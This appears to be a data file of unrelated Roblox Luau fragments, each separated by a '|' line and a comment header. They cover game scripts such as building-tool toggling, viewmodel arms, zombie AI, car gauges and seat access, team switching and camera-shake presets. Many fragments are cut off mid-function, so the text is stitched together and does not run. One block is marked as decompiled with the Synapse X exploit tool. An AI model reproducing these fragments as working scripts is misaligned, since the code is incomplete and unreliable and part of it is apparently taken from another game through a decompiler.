UserInputService.MouseBehavior = Enum.MouseBehavior.Default;
-- Disable mouse lock in tool mode
if Mode == 'Tool' then
SyncAPI:Invoke('SetMouseLockEnabled', false);
end;
-- Wait for UI to initialize asynchronously
while not UI do
wait(0.1);
end;
-- Show UI
UI.Parent = UIContainer;
-- Display startup notifications
if not StartupNotificationsDisplayed then
Cheer(Tool.Interfaces.Notifications, UI).Start(getfenv(0));
StartupNotificationsDisplayed = true;
end;
-- Start systems
EnableHotkeys();
Targeting.EnableTargeting();
Selection.EnableOutlines();
Selection.EnableMultiselectionHotkeys();
-- Equip current tool
EquipTool(CurrentTool or require(Tool.Tools.MoveTool));
-- Indicate that tool is now enabled
IsEnabled = true;
IsEnabling = false;
Enabled:Fire();
end;
function Disable()
-- Ensure tool is enabled or enabling, and not already disabling
if (not IsEnabled and not IsEnabling) or IsDisabling then
return;
-- If tool is enabling, disable it once fully enabled
elseif IsEnabling then
Enabled:Wait();
return Disable();
end;
-- Indicate that tool is now disabling
IsDisabling = true;
Disabling:Fire();
-- Reenable mouse lock option in tool mode
if Mode == 'Tool' then
pcall(SyncAPI.Invoke, SyncAPI, 'SetMouseLockEnabled', true);
end;
-- Hide UI
if UI then
UI.Parent = script;
end;
-- Unequip current tool
if CurrentTool then
CurrentTool.Unequip();
CurrentTool.Equipped = false;
end;
-- Clear temporary connections
ClearConnections();
-- Indicate that tool is now disabled
IsEnabled = false;
IsDisabling = false;
Disabled:Fire();
end;
|
--// Functions |
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_172_ = Instance.new("Humanoid")
L_172_.MaxHealth = 0
L_172_.Health = 0
L_172_.Name = ""
L_172_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_177_ = L_3_:FindFirstChild("Shirt"):clone()
L_177_.Parent = Arms
end
local L_173_ = L_3_:FindFirstChild("Right Arm"):clone()
for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do
if L_179_forvar2:IsA('Motor6D') then
L_179_forvar2:Destroy()
end
end
L_173_.Name = "Right Arm"
L_173_.FormFactor = "Custom"
L_173_.Size = Vector3.new(0.8, 2.5, 0.8)
L_173_.Transparency = 0.0
local L_174_ = Instance.new("Motor6D")
L_174_.Part0 = L_173_
L_174_.Part1 = L_3_:FindFirstChild("Right Arm")
L_174_.C0 = CFrame.new()
L_174_.C1 = CFrame.new()
L_174_.Parent = L_173_
L_173_.Parent = Arms
local L_175_ = L_3_:FindFirstChild("Left Arm"):clone()
L_175_.Name = "Left Arm"
L_175_.FormFactor = "Custom"
L_175_.Size = Vector3.new(0.8, 2.5, 0.8)
L_175_.Transparency = 0.0
local L_176_ = Instance.new("Motor6D")
L_176_.Part0 = L_175_
L_176_.Part1 = L_3_:FindFirstChild("Left Arm")
L_176_.C0 = CFrame.new()
L_176_.C1 = CFrame.new()
L_176_.Parent = L_175_
L_175_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_135_
function CreateShell()
L_135_ = time()
local L_180_ = L_1_.Shell:clone()
if L_180_:FindFirstChild('Shell') then
L_180_.Shell:Destroy()
end
L_180_.CFrame = L_1_.Chamber.CFrame
L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0)
L_180_.RotVelocity = Vector3.new(-10,40,30)
L_180_.Parent = L_101_
L_180_.CanCollide = true
game:GetService("Debris"):addItem(L_180_, 1)
delay(0.5, function()
if L_19_:FindFirstChild('ShellCasing') then
local L_181_ = L_19_.ShellCasing:clone()
L_181_.Parent = L_2_.PlayerGui
L_181_:Play()
game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)
end
end)
end
|
--Zombie artificial stupidity script |
sp=script.Parent
lastattack=0
nextrandom=0
nextsound=0
nextjump=0
chasing=false
variance=4
damage=50
attackrange=4.5
sightrange=999--60
runspeed=40
wonderspeed=8
healthregen=false
colors={"Sand red","Dusty Rose","Medium blue","Sand blue","Lavender","Earth green","Brown","Medium stone grey","Brick yellow"}
function raycast(spos,vec,currentdist)
local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(spos+(vec*.01),vec*currentdist),script.Parent)
if hit2~=nil and pos2 then
if hit2.Parent==script.Parent and hit2.Transparency>=.8 or hit2.Name=="Handle" or string.sub(hit2.Name,1,6)=="Effect" or hit2.Parent:IsA("Hat") or hit2.Parent:IsA("Tool") or (hit2.Parent:FindFirstChild("Humanoid") and hit2.Parent:FindFirstChild("TEAM") and hit2.Parent:FindFirstChild("TEAM").Value == script.Parent.TEAM.Value) or (not hit2.Parent:FindFirstChild("Humanoid") and hit2.CanCollide==false) then
local currentdist=currentdist-(pos2-spos).magnitude
return raycast(pos2,vec,currentdist)
end
end
return hit2,pos2
end
function waitForChild(parent,childName)
local child=parent:findFirstChild(childName)
if child then return child end
while true do
child=parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
|
--[=[
Returns whether the datastore failed.
@return boolean
]=] |
function DataStore:DidLoadFail()
if not self._loadPromise then
return false
end
if self._loadPromise:IsRejected() then
return true
end
return false
end
function DataStore:PromiseLoadSuccessful()
return self._maid:GivePromise(self:_promiseLoad()):Then(function()
return true
end, function()
return false
end)
end
|
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees |
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)
local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4
local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local DEAD_OFFSET = Vector3.new(0,1.5,0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)
local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local FIRST_PERSON_DISTANCE_MIN = 0.5
local HUMANOID_STATES = {
[Enum.HumanoidStateType.Dead] = true;
[Enum.HumanoidStateType.Physics] = true;
}
local CameraUtils = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController"))
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
|
--- |
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
script.Parent.Parent.Parent.IsOn.Changed:connect(function()
if script.Parent.Parent.Parent.IsOn.Value then
script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
local handler = car.Fogs
script.Parent.MouseButton1Click:connect(function()
if car.Body.Fogs.F.L.L.Enabled == false then
handler:FireServer("Lights",1)
script.Parent.BackgroundColor3 = Color3.new(0,255/255,0)
script.Parent.TextStrokeColor3 = Color3.new(0,255/255,0)
for index, child in pairs(car.Body.Fogs.F:GetChildren()) do
child.Material = Enum.Material.Neon
child.L.Enabled = true
end
elseif car.Body.Fogs.F.L.L.Enabled == true then
handler:FireServer("Lights",0)
script.Parent.BackgroundColor3 = Color3.new(0,0,0)
script.Parent.TextStrokeColor3 = Color3.new(0,0,0)
for index, child in pairs(car.Body.Fogs.F:GetChildren()) do
child.Material = Enum.Material.SmoothPlastic
child.L.Enabled = false
end
end
end)
|
-- Do not edit the below. |
script.Parent.Changed:connect(function(child)
SingleDriverMode = script.Parent.SingleMode.Value
if SingleDriverMode == true then
if script.Parent.Occupant ~= nil then
if script.Parent.Occupant.Parent.Name ~= AllowedDriver then
script.Parent.Occupant.Jump = true
script.Parent.Occupant.Health = 0
script.Parent.Fail:Play()
else end
end
else
for i,v in pairs(Blacklist) do
if script.Parent.Occupant ~= nil then
if script.Parent.Occupant.Parent.Name == Blacklist[i] then
if script.Parent.Occupant.Parent.Name ~= AllowedDriver then
script.Parent.Occupant.Jump = true
script.Parent.Occupant.Health = 0
script.Parent.Fail:Play()
end
else end
end
end
end
end)
|
-- tu dois assigner la bonne couleur |
local plr = script.Parent.Parent.Parent.Parent.Parent.Parent.Parent.Name
local normalBorderColor = script.Parent.TextLabel.TextColor.Color
function Click(mouse)
if game.Players[plr].TeamColor ~= game.Teams:FindFirstChild(script.Parent.Name).TeamColor then
game.Players[plr].TeamColor = game.Teams:FindFirstChild(script.Parent.Name).TeamColor
script.Parent.Border.ImageColor3 = Color3.new(0.333333, 1, 0)
wait(.25)
script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
script.Parent.Parent.Parent.Parent.Parent.Parent.Parent.Character.Humanoid.Health = 0
else
script.Parent.Border.ImageColor3 = Color3.new(1, 0, 0)
wait(.25)
script.Parent.Border.ImageColor3 = normalBorderColor
wait(.1)
end
end
script.Parent.MouseButton1Click:connect(Click)
|
--Atomic Bomb |
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(character)
local Humanoid = character:WaitForChild("Humanoid")
Humanoid.Died:connect(function()
if player.AtomicBomb.Value == 2 then
player.AtomicBomb.Value = 1
end
end)
end)
end)
game.Players.PlayerRemoving:Connect(function(player)
if player.AtomicBomb.Value == 2 then
player.AtomicBomb.Value = 1
end
end)
|
--[=[
Converts an item
http://reactivex.io/documentation/operators/from.html
@param item Promise | table
@return Observable
]=] |
function Rx.from(item)
if Promise.isPromise(item) then
return Rx.fromPromise(item)
elseif type(item) == "table" then
return Rx.of(unpack(item))
else
-- TODO: Iterator?
error("[Rx.from] - cannot convert")
end
end
|
--- Add a line to the command bar |
function Window:AddLine(text, options)
options = options or {}
text = tostring(text)
if typeof(options) == "Color3" then
options = { Color = options }
end
if #text == 0 then
Window:UpdateWindowHeight()
return
end
local str = self.Cmdr.Util.EmulateTabstops(text or "nil", 8)
local line = Line:Clone()
line.Size =
UDim2.new(
line.Size.X.Scale,
line.Size.X.Offset,
0,
TextService:GetTextSize(
str,
line.TextSize,
line.Font,
Vector2.new(Gui.UIListLayout.AbsoluteContentSize.X, math.huge)
).Y + (LINE_HEIGHT - line.TextSize)
)
line.Text = str
line.TextColor3 = options.Color or line.TextColor3
line.RichText = options.RichText or false
line.Parent = Gui
end
|
-- declarations |
local sDied = newSound("rbxasset://sounds/uuhhh.wav")
local sOuch = newSound("rbxasset://sounds/splat.wav")
local sFallingDown = newSound("rbxasset://sounds/splat.wav")
local sFreeFalling = newSound("rbxasset://sounds/button.wav")
local sGettingUp = newSound("rbxasset://sounds/hit.wav")
local sJumping = newSound("rbxasset://sounds/button.wav")
local sRunning = newSound("rbxasset://sounds/bfsl-minifigfoots1.mp3")
sRunning.Looped = true
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
--Automatic Gauge Scaling |
if autoscaling then
local wDia = bike.RearSection.Wheel.Size.Y
for i,v in pairs(UNITS) do
v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
v.spInc = math.max(math.ceil(v.maxSpeed/150)*10,10)
end
end
for i=0,revEnd*2 do
local ln = gauges.ln:clone()
ln.Parent = gauges.Tach
ln.Rotation = 45 + i * 225 / (revEnd*2)
ln.Num.Text = i/2
ln.Num.Rotation = -ln.Rotation
if i*500>=math.floor(_pRPM/500)*500 then
ln.Frame.BackgroundColor3 = Color3.new(1,0,0)
if i<revEnd*2 then
ln2 = ln:clone()
ln2.Parent = gauges.Tach
ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2)
ln2.Num:Destroy()
ln2.Visible=true
end
end
if i%2==0 then
ln.Frame.Size = UDim2.new(0,3,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
ln.Num.Visible = true
else
ln.Num:Destroy()
end
ln.Visible=true
end
local lns = Instance.new("Frame",gauges.Speedo)
lns.Name = "lns"
lns.BackgroundTransparency = 1
lns.BorderSizePixel = 0
lns.Size = UDim2.new(0,0,0,0)
for i=1,90 do
local ln = gauges.ln:clone()
ln.Parent = lns
ln.Rotation = 45 + 225*(i/90)
if i%2==0 then
ln.Frame.Size = UDim2.new(0,2,0,10)
ln.Frame.Position = UDim2.new(0,-1,0,100)
else
ln.Frame.Size = UDim2.new(0,3,0,5)
end
ln.Num:Destroy()
ln.Visible=true
end
local blns = Instance.new("Frame",gauges.Boost)
blns.Name = "blns"
blns.BackgroundTransparency = 1
blns.BorderSizePixel = 0
blns.Size = UDim2.new(0,0,0,0)
for i=0,12 do
local bln = gauges.bln:clone()
bln.Parent = blns
bln.Rotation = 45+270*(i/12)
if i%2==0 then
bln.Frame.Size = UDim2.new(0,2,0,7)
bln.Frame.Position = UDim2.new(0,-1,0,40)
else
bln.Frame.Size = UDim2.new(0,3,0,5)
end
bln.Num:Destroy()
bln.Visible=true
end
for i,v in pairs(UNITS) do
local lnn = Instance.new("Frame",gauges.Speedo)
lnn.BackgroundTransparency = 1
lnn.BorderSizePixel = 0
lnn.Size = UDim2.new(0,0,0,0)
lnn.Name = v.units
if i~= 1 then lnn.Visible=false end
for i=0,v.maxSpeed,v.spInc do
local ln = gauges.ln:clone()
ln.Parent = lnn
ln.Rotation = 45 + 225*(i/v.maxSpeed)
ln.Num.Text = i
ln.Num.TextSize = 14
ln.Num.Rotation = -ln.Rotation
ln.Frame:Destroy()
ln.Num.Visible=true
ln.Visible=true
end
end
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
isOn.Changed:connect(function()
if isOn.Value then
gauges:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end
end)
values.RPM.Changed:connect(function()
gauges.Tach.Needle.Rotation = 45 + 225 * math.min(1,values.RPM.Value / (revEnd*1000))
end)
local _TCount = _Tune.Turbochargers
local _SCount = _Tune.Superchargers
if _TCount~=0 or _SCount~=0 then
values.Boost.Changed:connect(function()
local _T = 0
local _S = 0
if _TCount~=0 then _T = _Tune.T_Boost*_TCount end
if _SCount~=0 then _S = _Tune.S_Boost*_SCount end
local tboost = (math.floor(values.BoostTurbo.Value)*1.2)-(_T/5)
local sboost = math.floor(values.BoostSuper.Value)
gauges.Boost.Needle.Rotation = 45 + 270 * math.min(1,values.Boost.Value/(_T+_S))
gauges.PSI.Text = tostring(math.floor(tboost+sboost).." PSI")
end)
else
gauges.Boost:Destroy()
end
values.Gear.Changed:connect(function()
local gearText = values.Gear.Value
if gearText == 0 then gearText = "N"
elseif gearText == -1 then gearText = "R"
end
gauges.Gear.Text = gearText
end)
values.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCS.Value then
gauges.TCS.TextColor3 = Color3.new(1,170/255,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.TCSActive.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = true
gauges.TCS.TextColor3 = Color3.new(1,0,0)
gauges.TCS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.TCS.Visible = false
end
end)
values.TCSActive.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
else
wait()
gauges.TCS.Visible = false
end
else
gauges.TCS.Visible = false
end
end)
gauges.TCS.Changed:connect(function()
if _Tune.TCSEnabled then
if values.TCSActive.Value and values.TCS.Value then
wait()
gauges.TCS.Visible = not gauges.TCS.Visible
elseif not values.TCS.Value then
wait()
gauges.TCS.Visible = true
end
else
if gauges.TCS.Visible then
gauges.TCS.Visible = false
end
end
end)
values.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABS.Value then
gauges.ABS.TextColor3 = Color3.new(1,170/255,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,170/255,0)
if values.ABSActive.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = true
gauges.ABS.TextColor3 = Color3.new(1,0,0)
gauges.ABS.TextStrokeColor3 = Color3.new(1,0,0)
end
else
gauges.ABS.Visible = false
end
end)
values.ABSActive.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
else
wait()
gauges.ABS.Visible = false
end
else
gauges.ABS.Visible = false
end
end)
gauges.ABS.Changed:connect(function()
if _Tune.ABSEnabled then
if values.ABSActive.Value and values.ABS.Value then
wait()
gauges.ABS.Visible = not gauges.ABS.Visible
elseif not values.ABS.Value then
wait()
gauges.ABS.Visible = true
end
else
if gauges.ABS.Visible then
gauges.ABS.Visible = false
end
end
end)
function PBrake()
gauges.PBrake.Visible = values.PBrake.Value
end
values.PBrake.Changed:connect(PBrake)
function Gear()
if values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
elseif values.TransmissionMode.Value == "Auto" then
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
else
gauges.TMode.Text = "A/T"
gauges.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
end
end
values.TransmissionMode.Changed:connect(Gear)
values.Velocity.Changed:connect(function(property)
gauges.Speedo.Needle.Rotation = 45 + 225 * math.min(1,UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude/UNITS[currentUnits].maxSpeed)
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
gauges.Speed.MouseButton1Click:connect(function()
if currentUnits==#UNITS then
currentUnits = 1
else
currentUnits = currentUnits+1
end
for i,v in pairs(gauges.Speedo:GetChildren()) do
v.Visible=v.Name==UNITS[currentUnits].units or v.Name=="Needle" or v.Name=="lns"
end
gauges.Speed.Text = math.floor(UNITS[currentUnits].scaling*values.Velocity.Value.Magnitude) .. " "..UNITS[currentUnits].units
end)
wait(.1)
Gear()
PBrake()
|
-- Local Variables |
local Events = game:GetService("ReplicatedStorage").Events
local DisplayIntermission = Events.DisplayIntermission
local DisplayNotification = Events.DisplayNotification
local DisplayTimerInfo = Events.DisplayTimerInfo
local DisplayVictory = Events.DisplayVictory
local DisplayScore = Events.DisplayScore
local StarterGui = game:GetService("StarterGui")
|
--Configuration |
Toolname = "Crowbar" --Name of your tool, make sure tool is in lighting
|
-- task.wait(Close.Length)
-- Hold:Stop()
-- HoldClose:Play() |
PlayIdle = false
task.wait(1.1)
DB2 = true
end
end)
script.Parent.Equipped:Connect(function()
if PlayIdle then |
-- Decompiled with the Synapse X Luau decompiler. |
local v1 = {};
local u1 = require(script.Parent.CameraShakeInstance);
function v1.Bump()
local v2 = u1.new(2.5, 4, 0.1, 0.75);
v2.PositionInfluence = Vector3.new(0.15, 0.15, 0.15);
v2.RotationInfluence = Vector3.new(1, 1, 1);
return v2;
end;
function v1.Explosion()
local v3 = u1.new(2.5, 5, 0, 3.5);
v3.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
v3.RotationInfluence = Vector3.new(4, 2, 2);
return v3;
end;
function v1.BoomDead()
local v4 = u1.new(2.5, 7, 0, 5);
v4.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
v4.RotationInfluence = Vector3.new(4, 2, 2);
return v4;
end;
function v1.Earthquake()
local v5 = u1.new(0.6, 3.5, 2, 10);
v5.PositionInfluence = Vector3.new(0.25, 0.25, 0.25);
v5.RotationInfluence = Vector3.new(1, 1, 4);
return v5;
end;
function v1.BadTrip()
local v6 = u1.new(10, 0.15, 5, 10);
v6.PositionInfluence = Vector3.new(0, 0, 0.15);
v6.RotationInfluence = Vector3.new(2, 1, 4);
return v6;
end;
function v1.HandheldCamera()
local v7 = u1.new(1, 0.25, 5, 10);
v7.PositionInfluence = Vector3.new(0, 0, 0);
v7.RotationInfluence = Vector3.new(1, 0.5, 0.5);
return v7;
end;
function v1.Vibration()
local v8 = u1.new(0.4, 20, 2, 2);
v8.PositionInfluence = Vector3.new(0, 0.15, 0);
v8.RotationInfluence = Vector3.new(1.25, 0, 4);
return v8;
end;
function v1.RoughDriving()
local v9 = u1.new(1, 2, 1, 1);
v9.PositionInfluence = Vector3.new(0, 0, 0);
v9.RotationInfluence = Vector3.new(1, 1, 1);
return v9;
end;
local v10 = {};
function v10.__index(p1, p2)
local v11 = v1[p2];
if type(v11) == "function" then
return v11();
end;
error("No preset found with index \"" .. p2 .. "\"");
end;
return setmetatable({}, v10);
|
--[[ Aum359Rbx ]]--
--[[ Sc 1 ]] | --
local Light = script.Parent
|
--[=[
@within TableUtil
@function Sample
@param tbl table
@param sampleSize number
@param rngOverride Random?
@return table
Returns a random sample of the table.
```lua
local t = {1, 2, 3, 4, 5, 6, 7, 8, 9}
local sample = TableUtil.Sample(t, 3)
print(sample) --> e.g. {6, 2, 5}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=] |
local function Sample(tbl: Table, size: number, rngOverride: Random?): Table
assert(type(tbl) == "table", "First argument must be a table")
assert(type(size) == "number", "Second argument must be a number")
local shuffled = Copy(tbl)
local sample = table.create(size)
local random = if typeof(rngOverride) == "Random" then rngOverride else rng
local len = #tbl
size = math.clamp(size, 1, len)
for i = 1,size do
local j = random:NextInteger(i, len)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
table.move(shuffled, 1, size, 1, sample)
return sample
end
|
---- user inputs ---- |
local maxWalkDistance=500;--the maximum walking distance
local pickUpTools=true;--will pick up and equip tools that are touched
|
--local humanoid = hit.Parent:findFirstChild("Humanoid")
-- if math.random(1,100)==1 and humanoid==nil then
-- hit:BreakJoints()
-- end |
if hit.Name~=ball.Name and exploded==false then
exploded=true
local ballp=ball.Position
explode()
ball.Anchored=true
ball.Transparency=1
ball.CanCollide=false
wait(0.01)
ball:Destroy()
if hit.Parent and hit.Parent:FindFirstChildWhichIsA("Humanoid") then
hit.Parent.Humanoid:TakeDamage(math.random(60,80))
end
--else
-- local ricochetpart = Instance.new("Part")
-- ricochetpart.Position = ballp
-- ricochetpart.Anchored = true
-- ricochetpart.CanCollide = false
-- ricochetpart.Transparency = 1
-- ricochetpart.Size = Vector3.new(0.1,0.1,0.1)
-- ricochetpart.Parent = workspace
-- ricochetpart.Name = "ricochetpart"
-- --local ricochetpartsound = ricochetsound:Clone()
-- local ricochetpartsound = Instance.new("Sound")
-- ricochetpartsound.SoundId = ("rbxassetid://3727467442")
-- ricochetpartsound.Parent = ricochetpart
-- ricochetpartsound:Play()
-- game.Debris:AddItem(ricochetpart, 1)
--end
--explodebutdontdestroy()
--explode() |
--[=[
Fires the equivalent server-side signal with the given arguments.
:::note Outbound Middleware
All arguments pass through any outbound middleware before being
sent to the server.
:::
]=] |
function ClientRemoteSignal:Fire(...: any)
if self._hasOutbound then
self._re:FireServer(self:_processOutboundMiddleware(...))
else
self._re:FireServer(...)
end
end
|
--//D//-- |
if script.Parent.Gear.Value == 1 then
if script.Parent.CC.Value == true then
carSeat.Parent.Parent.RFW.VS.Throttle = 1
carSeat.Parent.Parent.LFW.VS.Throttle = 1
carSeat.Parent.Parent.RRW.VS.Throttle = 1
carSeat.Parent.Parent.LRW.VS.Throttle = 1
carSeat.Parent.Parent.RFW.VS.Torque = (script.Parent.FTQ.Value)
carSeat.Parent.Parent.LFW.VS.Torque = (script.Parent.FTQ.Value)
carSeat.Parent.Parent.RRW.VS.Torque = (script.Parent.RTQ.Value)
carSeat.Parent.Parent.LRW.VS.Torque = (script.Parent.RTQ.Value)
end
if script.Parent.CC.Value == false then
if script.Parent.Gear.Value == 1 then
if carSeat.Throttle == 1 then
carSeat.Parent.Parent.RFW.VS.Throttle = 1
carSeat.Parent.Parent.LFW.VS.Throttle = 1
carSeat.Parent.Parent.RRW.VS.Throttle = 1
carSeat.Parent.Parent.LRW.VS.Throttle = 1
carSeat.Parent.Parent.RFW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.LFW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.RRW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.LRW.VS.MaxSpeed = maxsp
else
carSeat.Parent.Parent.RFW.VS.Throttle = 0
carSeat.Parent.Parent.LFW.VS.Throttle = 0
carSeat.Parent.Parent.RRW.VS.Throttle = 0
carSeat.Parent.Parent.LRW.VS.Throttle = 0
carSeat.Parent.Parent.RFW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.LFW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.RRW.VS.MaxSpeed = maxsp
carSeat.Parent.Parent.LRW.VS.MaxSpeed = maxsp
end
if script.Parent.Deployed.Value == false then
if carSeat.Steer == 1 and carSeat.Throttle == 1 then
carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/eval)*0.4
carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/eval)*-0.7
carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/eval)*0.6
carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/eval)*0.4
elseif carSeat.Steer == -1 and carSeat.Throttle == 1 then
carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/eval)*0.4
carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/eval)*-0.7
carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/eval)*0.6
carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/eval)*0.4
elseif carSeat.Throttle == 1 and carSeat.Steer == 0 then
carSeat.Parent.Parent.RRW.VS.Torque = tq.Value/eval
carSeat.Parent.Parent.RFW.VS.Torque = ftq.Value/eval
carSeat.Parent.Parent.LRW.VS.Torque = tq.Value/eval
carSeat.Parent.Parent.LFW.VS.Torque = ftq.Value/eval
elseif carSeat.Throttle == 0 and carSeat.Steer == 0 then
carSeat.Parent.Parent.RRW.VS.Torque = cst.Value
carSeat.Parent.Parent.RFW.VS.Torque = cst.Value
carSeat.Parent.Parent.LRW.VS.Torque = cst.Value
carSeat.Parent.Parent.LFW.VS.Torque = cst.Value
end
end
if script.Parent.Deployed.Value == true then
if carSeat.Steer == 1 and carSeat.Throttle == 1 then
carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/val)*-0.1
carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/val)*0.9
carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/val)*1.25
carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/val)*0.2
elseif carSeat.Steer == -1 and carSeat.Throttle == 1 then
carSeat.Parent.Parent.LRW.VS.Torque = (tq.Value/val)*-0.1
carSeat.Parent.Parent.RFW.VS.Torque = (ftq.Value/val)*0.9
carSeat.Parent.Parent.RRW.VS.Torque = (tq.Value/val)*1.25
carSeat.Parent.Parent.LFW.VS.Torque = (ftq.Value/val)*0.2
elseif carSeat.Throttle == 1 and carSeat.Steer == 0 then
carSeat.Parent.Parent.RRW.VS.Torque = tq.Value/val
carSeat.Parent.Parent.RFW.VS.Torque = ftq.Value/val
carSeat.Parent.Parent.LRW.VS.Torque = tq.Value/val
carSeat.Parent.Parent.LFW.VS.Torque = ftq.Value/val
elseif carSeat.Throttle == 0 and carSeat.Steer == 0 then
carSeat.Parent.Parent.RRW.VS.Torque = cst.Value
carSeat.Parent.Parent.RFW.VS.Torque = cst.Value
carSeat.Parent.Parent.LRW.VS.Torque = cst.Value
carSeat.Parent.Parent.LFW.VS.Torque = cst.Value
end
end
end
end
end |
-- DO NOT EDIT UNLESS YOU KNOW WHAT YOU ARE DOING!!! -- |
function onClicked()
script.Parent.Parent.A.D1.Transparency = 1
script.Parent.Parent.A.D2.Transparency = 1
script.Parent.Parent.A.D3.Transparency = 1
script.Parent.Parent.A.D4.Transparency = 1
script.Parent.Parent.A.D1.CanCollide = false
script.Parent.Parent.A.D2.CanCollide = false
script.Parent.Parent.A.D3.CanCollide = false
script.Parent.Parent.A.D4.CanCollide = false
script.Parent.Parent.B.D1.Transparency = 0
script.Parent.Parent.B.D2.Transparency = 0
script.Parent.Parent.B.D3.Transparency = 0.7
script.Parent.Parent.B.D4.Transparency = 0.7
script.Parent.Parent.B.D1.CanCollide = true
script.Parent.Parent.B.D2.CanCollide = true
script.Parent.Parent.B.D3.CanCollide = true
script.Parent.Parent.B.D4.CanCollide = true
wait(0.1)
script.Parent.Parent.B.D1.Transparency = 1
script.Parent.Parent.B.D2.Transparency = 1
script.Parent.Parent.B.D3.Transparency = 1
script.Parent.Parent.B.D4.Transparency = 1
script.Parent.Parent.B.D1.CanCollide = false
script.Parent.Parent.B.D2.CanCollide = false
script.Parent.Parent.B.D3.CanCollide = false
